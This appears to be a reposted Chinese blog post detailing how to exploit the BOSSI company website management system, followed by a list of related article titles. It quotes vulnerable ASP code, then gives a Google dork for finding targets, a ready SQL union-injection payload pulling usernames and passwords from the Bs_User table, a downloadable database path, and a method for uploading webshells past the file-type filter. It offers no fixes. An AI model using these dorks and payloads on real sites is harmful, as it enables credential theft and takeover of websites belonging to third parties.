BOSSI 公司(企业)网站管理系统注入&上传漏洞利用
来源:互联网 发布:什么叫c语言冒泡排序 编辑:程序博客网 时间:2024/05/01 22:11
BOSSI 公司(企业)网站管理系统,中英文双语版,后台在同一页内同时管理添加修改资料内的中英文内容,网站的左边栏使用了模块,可以自由的增加&删除,可以不用修改代码,让不懂编写网页的人也可以有自己的公司(企业)网站,基本资料都在后台管理添加修改,网站的标题、地址、版权、公司邮局、收藏等资料可以在后台的"公司资料"里管理
----------------------------------------------------
漏洞一:注入漏洞,
漏洞页面:NewsInfo.asp,
漏洞代码:if not isEmpty(request.QueryString("id")) then
id=request.QueryString("id")
else
id=1
end if
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From Conews where id="&id, conn,3,3
'纪录访问次数
rs("counter")=rs("counter")+1
rs.update
nCounter=rs("counter")
id变量未处理直接代入sql查询,可注射,用啊d就行
页面二:yeNewsInfo.asp
漏洞代码:<%
if not isEmpty(request.QueryString("id")) then
id=request.QueryString("id")
else
id=1
end if
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open "Select * From Yenews where id="&id, conn,3,3
'纪录访问次数
rs("counter")=rs("counter")+1
rs.update
nCounter=rs("counter")
'定义内容
content=ubbcode(rs("content"))
%>
原理同上,可注入。
漏洞二:数据库下载漏洞
数据库地址:Database/DataShop.mdb
为建立放下载表,可任意下载!
漏洞三:上传漏洞
漏洞页面:upfile.asp ,upfilea.asp
问题代码:fileExt=lcase(file.FileExt)
Forumupload=split(UpFileType,"|")
for i=0 to ubound(Forumupload)
if fileEXT=trim(Forumupload(i)) then
EnableUpload=true
exit for
end if
next
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!/n/n只允许上传这几种文件类型:" & UpFileType
founderr=true
end if
和那个良精的上传漏洞一样,不知道是谁抄谁的代码了!注册用户,本地上传php的大马或者加空格过滤上传asp大马,具体方法就不说了,在浅析良精企业网站管理程序http://hi.baidu.com/love_fj1314/blog/item/5c876ebd5943d00118d81fcb.html一文中提到过了!不再赘述!
漏洞利用:注入,Google:inurl:yeNewsInfo.asp?Id
注入语句:%20and%201=2%20union%20select%201,username,3,4,password%20from%20Bs_User
或者啊d:需要手动添加表段:Bs_User
数据库漏洞利用:
挖掘机:关键字:inurl:yeNewsInfo.asp?Id
后缀:Database/DataShop.mdb
关于上传漏洞的利用就不演示了,可参照 浅析良精企业网站管理系统漏洞 一文。http://hi.baidu.com/love_fj1314/blog/item/5c876ebd5943d00118d81fcb.html
- BOSSI 公司(企业)网站管理系统注入&上传漏洞利用
- 千博企业网站管理系统HitCount.Asp页面注入漏洞
- 随缘php企业网站管理系统V2.0 shownews.php注入漏洞
- 翎动物流公司网站系统fck漏洞利用
- 【转】华众6.5虚拟主机管理系统SQL注入漏洞利用
- Phpcms V9 网站管理系统 SQL 盲注入漏洞
- evoArticles网站管理系统任意文件上传漏洞
- 动易网站管理系统vote.asp页面存在SQL注入漏洞
- wdcp虚拟主机管理系统注入漏洞
- 如何利用企业网站管理系统为企业高效建站
- 利用XSS注入漏洞能对网站做什么
- 利用XSS注入漏洞能对网站做什么
- 企业网站建设专家-PageAdmin企业网站管理系统
- 金梅电影系统的注入漏洞利用程序
- 易想团购系统通杀SQL注入漏洞分析及利用
- 闪睿企业的网站管理系统
- 企业网站管理系统数据库设计
- 什么是注入?黑客们是怎样利用注入漏洞攻击网站的?
- sqlite3 查询数据库表结构
- 翎动物流公司网站系统fck漏洞利用
- 安装多个Tomcat完成后要修改端口
- yii中的关联查询
- 用idhttp post 方法发送数据到服务器上。实现数据和网页的交互。
- BOSSI 公司(企业)网站管理系统注入&上传漏洞利用
- Eclipse重构功能:扩展点的使用
- 我所理解的IOCP
- python编码格式
- 各地DNS配置
- mobl中的下载的wineclipse版本缺少googlemap.mobl文件库
- 黑马程序员:移位运算符的注意事项及小技巧
- Eclipse中自动重构实现探索
- 使用Boost.Python